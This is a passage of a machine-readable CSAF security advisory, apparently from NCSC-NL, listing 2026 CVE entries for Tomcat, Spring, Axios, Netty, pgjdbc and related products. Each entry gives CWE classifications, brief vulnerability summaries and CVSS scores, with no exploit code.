"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-40984 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-40984.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-40984"
},
{
"cve": "CVE-2026-41284",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Apache Tomcat versions 9.0.0.M1 to 11.0.21 have multiple vulnerabilities including unbounded WebDAV request bodies, HTTP/2 header validation flaws, WebSocket authentication exposure, and authorization bypass, leading to denial of service, crashes, and credential exposure.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41284 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41284.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41284"
},
{
"cve": "CVE-2026-41842",
"notes": [
{
"category": "description",
"text": "Spring Framework versions used in Spring MVC and WebFlux applications are vulnerable to DoS attacks during static resource resolution, Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0 have a remotely exploitable vulnerability allowing system takeover, and Oracle Communications Management Cloud Engine has a non-exploitable Spring Framework security-in-depth issue.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41842 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41842.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41842"
},
{
"cve": "CVE-2026-41845",
"cwe": {
"id": "CWE-79",
"name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"title": "CWE-79"
},
{
"category": "description",
"text": "Multiple vulnerabilities affect Spring Framework versions 5.3.0 to 7.0.7 and Oracle Communications products, including a JavaScript escaping flaw enabling XSS, a difficult-to-exploit remote takeover in BRM Elastic Charging Engine, and a non-exploitable security-in-depth issue in Management Cloud Engine.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41845 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41845.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41845"
},
{
"cve": "CVE-2026-41850",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "description",
"text": "Multiple vulnerabilities affect Spring Framework versions 5.3.0 to 7.0.7 and Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0, including an Algorithmic DoS and a difficult-to-exploit remote takeover vulnerability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41850 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41850.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41850"
},
{
"cve": "CVE-2026-41851",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Certain Spring Framework versions are vulnerable to DoS via unbounded cache growth from user-supplied SpEL expressions, Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0 have a difficult-to-exploit unauthenticated HTTP takeover vulnerability, and Oracle Communications Management Cloud Engine has a non-exploitable Spring Framework security-in-depth issue.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41851 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41851.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41851"
},
{
"cve": "CVE-2026-41907",
"cwe": {
"id": "CWE-787",
"name": "Out-of-bounds Write"
},
"notes": [
{
"category": "other",
"text": "Out-of-bounds Write",
"title": "CWE-787"
},
{
"category": "other",
"text": "Use of Out-of-range Pointer Offset",
"title": "CWE-823"
},
{
"category": "other",
"text": "Improper Validation of Specified Index, Position, or Offset in Input",
"title": "CWE-1285"
},
{
"category": "other",
"text": "Always-Incorrect Control Flow Implementation",
"title": "CWE-670"
},
{
"category": "description",
"text": "The uuid library versions prior to 14.0.0 have a vulnerability in v3, v5, and v6 UUID functions where missing buffer bounds checks allow silent partial or out-of-range writes to caller-provided buffers, potentially causing malformed UUIDs.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-41907 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-41907.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-41907"
},
{
"cve": "CVE-2026-42033",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions prior to 1.15.1 and 0.31.1 are vulnerable to prototype pollution attacks that enable attackers to intercept, modify JSON responses, or hijack HTTP requests and responses via polluted configuration properties.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42033 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42033.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42033"
},
{
"cve": "CVE-2026-42035",
"cwe": {
"id": "CWE-113",
"name": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)",
"title": "CWE-113"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions prior to 1.15.1 and 0.31.1 contain a prototype pollution vulnerability in the HTTP adapter that allows attackers to inject arbitrary HTTP headers into outgoing requests by exploiting polluted Object.prototype properties.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42035 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42035.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42035"
},
{
"cve": "CVE-2026-42041",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions prior to 1.15.1 and 0.31.1 contain a high-severity Prototype Pollution vulnerability in the validateStatus property merge strategy that allows attackers to bypass authentication and error handling by treating all HTTP error responses as successful.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42041 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42041.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42041"
},
{
"cve": "CVE-2026-42198",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "pgjdbc versions 42.2.0 to before 42.7.11 are vulnerable to client-side denial of service via excessive CPU usage during SCRAM-SHA-256 authentication, fixed in 42.7.11, while Oracle Communications Cloud Native Core Console versions 25.1.203 and 25.2.201 have a network-accessible SQL injection denial of service vulnerability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42198 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42198.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42198"
},
{
"cve": "CVE-2026-42583",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Multiple vulnerabilities in Apache Netty prior to versions 4.1.133.Final and 4.2.13.Final allow remote attackers to cause excessive memory allocation, denial of service, and potential data compromise via crafted LZ4 compressed data and HTTP/2 requests.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42583 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42583.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42583"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstandard, and Snappy encodings, causing out-of-memory denial of service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42587 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42587.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-43513",
"cwe": {
"id": "CWE-178",
"name": "Improper Handling of Case Sensitivity"
},
"notes": [
{
"category": "other",
"text": "Improper Handling of Case Sensitivity",
"title": "CWE-178"
},
{
"category": "description",
"text": "Apache Tomcat versions 7.0.0 to 11.0.21 contain multiple security vulnerabilities including LockOutRealm case sensitivity issues, digest authentication bypass, WebDAV request size DoS, HTTP/2 header validation flaws, WebSocket authentication exposure, and AJP secret comparison weaknesses.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-43513 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-43513.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-43513"
},
{
"cve": "CVE-2026-44249",
"cwe": {
"id": "CWE-1287",
"name": "Improper Validation of Specified Type of Input"
},
"notes": [
{
"category": "other",
"text": "Improper Validation of Specified Type of Input",
"title": "CWE-1287"
},
{
"category": "description",
"text": "Netty versions prior to 4.1.135.Final and 4.2.15.Final contain an IPv6 subnet bypass vulnerability in IpSubnetFilterRule.compareTo() due to incorrect masking, allowing unauthorized access control bypass.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44249 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44249.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44249"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"notes": [
{
"category": "other",
"text": "Insertion of Sensitive Information Into Sent Data",
"title": "CWE-201"
},
{
"category": "description",
"text": "Axios Node.js HTTP adapter versions prior to 0.32.0 and 1.16.0 can leak proxy credentials via stale Proxy-Authorization headers when following redirects from proxied to non-proxied targets, exposing sensitive authentication data.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44486 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44486.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44486"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"notes": [
{
"category": "other",
"text": "Insertion of Sensitive Information Into Sent Data",
"title": "CWE-201"
},
{
"category": "description",
"text": "Axios versions prior to 0.32.0 and 1.16.0 have a vulnerability in the Node.js HTTP adapter where Proxy-Authorization headers may be forwarded to redirected origins during proxy-to-direct redirect flows, risking exposure of sensitive proxy credentials.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44487 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44487.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44487"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Axios versions 1.7.0 through 1.15.x failed to enforce configured request and response size limits when using the fetch adapter, allowing oversized bodies that can cause resource exhaustion in server-side applications.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44488 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44488.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44488"
},
{
"cve": "CVE-2026-44490",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions prior to 1.16.0, including 1.15.2 and earlier, are vulnerable to prototype pollution that enables arbitrary HTTP header injection, sensitive data leakage, and denial-of-service crashes due to unsafe merging of object properties.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44490 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44490.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
